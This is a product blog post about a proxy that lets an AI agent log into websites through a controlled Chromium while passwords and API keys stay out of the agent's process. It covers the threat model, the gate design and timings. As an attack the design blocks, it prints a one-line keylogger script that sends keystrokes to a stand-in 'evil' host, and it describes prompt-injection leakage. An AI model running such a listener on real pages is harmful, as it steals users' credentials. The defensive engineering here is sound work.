[ BLOG ]

Let Your Agent Log In Without Giving It the Password

How the Browser Bridge lets an AI agent drive a browser and sign into sites while the credential stays out of its process entirely. The design, what the gate refuses, and a full register-to-API-call run in 4.43 seconds.

Your agent needs to log into a site. Right now you probably hand it the password and hope. There is a better way to do it, and this is how we built one.

Why handing it over fails

Once a password is inside your agent's process, it is one prompt injection away from being typed somewhere you did not intend, one log line away from your observability vendor, and one context window away from your model provider. None of those need a bug to happen. They are just what happens to a value that lives in the same process as a language model.

Filtering the model's output does not save you. By the time you are filtering, the value has already been somewhere it should not be. The same goes for redaction, for scrubbing logs, and for asking the model nicely not to repeat things.

So the Browser Bridge never gives it to the agent in the first place.

How it works

The agent drives a real Chromium, but not directly. It connects to a proxy that speaks the Chrome DevTools Protocol, and every command it sends crosses a gate before it reaches the browser. The bridge is the only process actually attached to Chromium.

When the agent reaches a login form, it does not type anything. It asks for a fill by name:

{ "binding_id": "acme-login" }

// what comes back
{ "status": "filled" }

That is the entire API surface for using a credential. There is no URL in the request, because the bridge navigates to the login page the binding names rather than letting the agent pick which page receives a password. There is no value in the response, because the agent never gets one. It learns that a fill happened, and nothing else.

A human sets up the binding ahead of time: which secret, and which hosts it may be typed into. Hosts match exactly. A wildcard gets rejected when you create the binding rather than stored, because a stored *.example.com would match nothing at fill time while looking permissive in your config.

Three credentials, on purpose

Three separate things have to be true before a password gets typed, and they answer different questions:

  • Which machine. A device credential, minted once when a human pairs the machine, behind a step-up re-auth.
  • Which person. A session, opened by that human.
  • Which agent.The agent's own token.

Asking for a fill needs the agent's token plus the other two. Collecting the result needs the bridge's identity and explicitly refuses an agent token. That split is the whole guarantee in one line of routing: the agent asks which credential, and is turned away when it tries to pick up the answer.

Blocking commands is not enough

The obvious design is to lock the browser tab while typing. We did that, and it is not sufficient, which is worth explaining because it shapes everything else.

An agent is allowed to evaluate scripts on its own pages when no fill is happening. So it runs this well before it asks for anything:

addEventListener('keydown', e => fetch('https://evil/?k=' + e.key), true)

Then it sits quietly. The bridge types with real key events, the listener catches them, and the agent sends no command during the fill at all. There is nothing to block, because nobody is asking for anything.

A longer blocklist does not help here. What helps is typing somewhere the agent has never been. The bridge opens a fresh tab for every fill, inside the agent's own browser context so the site still treats it as the same logged-in session. A page with no listeners has nothing to fire.

That fresh tab is most of the latency you will see below. The cost and the control are the same line item, which is usually a sign a design is honest.

Working with the tools you already use

A credential layer nobody can plug in is worthless, so stock Puppeteer and Playwright connect to the bridge unchanged. Since browser-use and Stagehand are built on Playwright, they work too.

await puppeteer.connect({ browserWSEndpoint: bridge.url });
await chromium.connectOverCDP(bridge.url);

Getting there was harder than it looks, and the reason is a nice illustration of the tension in this kind of product. Frameworks open a connection by asking the browser to start announcing every target it has. Forwarding that request would tell one agent about every other agent's pages, so the bridge answers the handshake itself and hands back a view containing only your own tabs. Chromium never goes into that mode at all.

Then there were two events we had been refusing outright:

Network.requestWillBeSentExtraInfo
Network.responseReceivedExtraInfo

They carry raw Cookie and Set-Cookie headers, as push events, which means an agent that switched the Network domain on early would be handed the session immediately after a login. Blocking them is obviously right. The catch is that no framework will finish a navigation without them, so page.goto() hangs forever while the page itself has clearly loaded.

What a client actually needs from those events is the knowledge that they happened. What it must never get is the headers. So they are forwarded with the cookie fields emptied out. Emptied rather than removed, because clients call Object.keys(headers) without checking the field exists, and deleting it crashes them instead of protecting anything.

We built that strip list by reading a live browser rather than the protocol documentation, which mattered more than expected. The docs list a field Chromium never sends, and omit one that holds whole cookie objects.

What the gate refuses

  • Reading the field. During a fill the whole tab is locked, not just the input, and the typing happens on a page the agent has never scripted.
  • Another agent's pages.Every client gets its own browser context. Listing shows only that client's tabs, and attaching to somebody else's is refused even if you know the id.
  • Response bodies. Filtering a response after the fact does not help when the side effect is the exfiltration, so the events that carry them are not forwarded.

It is an allowlist, not a blocklist. CDP has around fifty domains and gains members every Chromium release, so a blocklist is stale the day you write it, and its failure mode is silent exposure.

Beyond logging in

Two other operations work the same way, because the same rule applies: the agent names a site that a human already approved, and never chooses what gets typed or read.

Registration. The bridge signs up for a site, generates the password itself, and stores it. Nothing is written to the vault unless the site actually accepted it, so you do not end up with a credential for an account that was never created.

Capture. The reverse of a fill. A site generates an API key and shows it once; the bridge reads it off the page and stores it, and the agent gets an id back rather than a key. The read happens in a tab the agent never lands on, for exactly the same reason the typing does.

What it costs

A full run against a live third-party site. Create the account, sign in, capture the API key the site issues, then make a real request with it. No human at any point.

StageTime
Provision (register, store the password)2.13s
Sign in (username, password, submit)1.14s
Capture (read and store the API key)0.80s
Use (request with the key injected)0.37s
End to end4.43s

The agent passed a city name and got the weather back. It never saw the password or the API key at any point in those four seconds.

Where it stops

A signup behind a CAPTCHA is a site telling you it wants a human, and getting past that is not something we build. We moved our demo to a different provider precisely because the first one's signup was a reCAPTCHA. If a site puts a human check in the middle of a flow, the bridge stops there and asks you. Everything either side of that gate automates fine.

Try it

npm install -g @1claw/browser-bridge

The source is Apache-2.0 at 1clawAI/browser-bridge. The demo runs without a 1Claw account: a local login form, a real Chromium, and the agent's tool result printed out so you can check for yourself that the password is not in it.